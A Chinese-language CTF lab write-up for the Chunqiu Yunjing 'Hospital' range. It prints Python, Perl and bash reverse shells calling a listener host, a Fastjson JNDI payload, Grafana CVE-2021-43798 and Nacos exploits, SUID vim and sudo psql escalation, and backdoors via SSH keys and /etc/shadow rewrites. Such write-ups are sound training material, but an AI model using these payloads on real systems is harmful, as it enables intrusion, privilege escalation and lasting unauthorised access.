文章

春秋云镜-Hospital

春秋云镜-Hospital

flag1

先fscan扫描

1777293611803

注意jsessionid=CDA9870C3247ABB39CA537E7905DB364

heapdump泄露,然而不知道在哪下.dirsearch扫一下

发现在/actuator/heapdump

http://39.99.150.223:8080/actuator/heapdump

这里使用JDumpSpider来进行敏感信息搜集

需要Java8,heapdump放同目录

1
"C:\Program Files\Java\jdk1.8.0_65\bin\java.exe" -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

1777293800948

得到密钥:GAYysgMQhG7/CzIJlVpR2g==

algMode = CBC

algName = AES

1783099627671

这里注入蚁剑和冰蝎都可以

蚁剑:

1777296066061

不能直接读flag文件,走suid提权

1777295561130

反弹个shell

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vpsip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

起个pty

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

vim.basic提权读到flag1

1
vim.basic /root/flag/flag01.txt

冰蝎:

1777296052494

直接用自带反弹shell

1777296318249

1
vim.basic /root/flag/flag01.txt

1777296343064

这里可以写个公钥,留个后门

也可以用 OpenSSL生成root密钥

1783100137753

flag2

用冰蝎上传fscan

1777296627730

发现两个web资产

http://172.30.12.6:8848 poc-yaml-alibaba-nacos poc-yaml-alibaba-nacos-v1-auth-bypass http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台

先搭一个socks代理

本机上开proxifier访问web2

nacos:nacos默认密码登录

1783100212938

这里尝试用下面这个工具

1
"C:\Program Files\Java\jdk1.8.0_65\bin\javac.exe" src/artsploit/AwesomeScriptEngineFactory.java 
1
C:\Program Files\Java\jdk1.8.0_65\bin\jar.exe" -cvf yaml-payload.jar -C src/ .

1777307067246

可以利用SQL漏洞注入内存马

冰蝎连接即可

得到flag2

flag3

用bp浏览器打开172.30.12.236:8080,抓包

1783100643264

发现json形式传输数据

方法1,用bp插件来打

https://github.com/amaz1ngday/fastjson-exp

1777310221980

连接哥斯拉,得到flag

1777310209604

方法2,起一个jndi_tool.jar

因为本题不出网,需要在入口机上传一个jndi_tool.jar

1
java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "bash -i >& /dev/tcp/172.30.12.5/1234 0>&1"

然后在入口机通过nc -lvnp去监听.

扔到burp的fastjson插件生成一个json

然后修改dns为入口机ip,在burp下发送恶意的json.

1
2
3
4
5
6
7
8
9
10
11
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://172.30.12.5:1099/Object",
        "autoCommit":true
    }
}

成功反弹shell

1783101445212

这里我们在哥斯拉留后门比较方便

方法1

把公钥写进/root/.ssh/authorized_keys

方法2

1
openssl passwd -6 "new_root_pass"
1
2
# 一行命令生成哈希并写入/etc/shadow
sed -i "s|^root:[^:]*:|root:$(openssl passwd -6 "new_root_pass"):|" /etc/shadow

1783098698459

这里ifconfig发现存在双网卡

传个fscan来扫一下

1783101618544

发现新的资产不同于之前的网段

多层代理即可

flag4

只存在一个172.30.54.12的Grafana服务. grafana数据库存在漏洞CVE-2021-43798,导致任意文件读取.利用工具读出data_source的信息.

1
./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000

得到user:[postgres] password[Postgres@123]database:[postgres]

直接登录数据库

1777313018294

查看版本

1777313144907

后续需要用psql提权,所以先改一下root密码

1
ALTER USER root WITH PASSWORD '123456';

1777313209816

创建命令执行函数

1
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;

perl反弹shell

这里需要在flag3的机子上开监听(需要交互式环境,用上述的后门即可)

1
select system('perl -e \'use Socket;$i="172.30.54.179";$p=250;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

反弹成功后起个交互式shell

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

sudo -l查看到存在psql

打psql提权:[psqlGTFOBins](https://gtfobins.github.io/gtfobins/psql/)
1
2
3
4
5
sudo /usr/local/postgresql/bin/psql
123456
\?
!/bin/bash
cat /root/flag/flag04.txt

1783098788558

参考文章:

【内网渗透】最保姆级的春秋云镜Hospital打靶笔记_jdumpspider-1.1-snapshot-full-CSDN博客

春秋云境-Hospital – fushulingのblog

春秋云镜-Hospital - Afa1rs - 博客园

春秋云镜 Hospital - colorfullbz - 博客园

本文由作者按照 CC BY 4.0 进行授权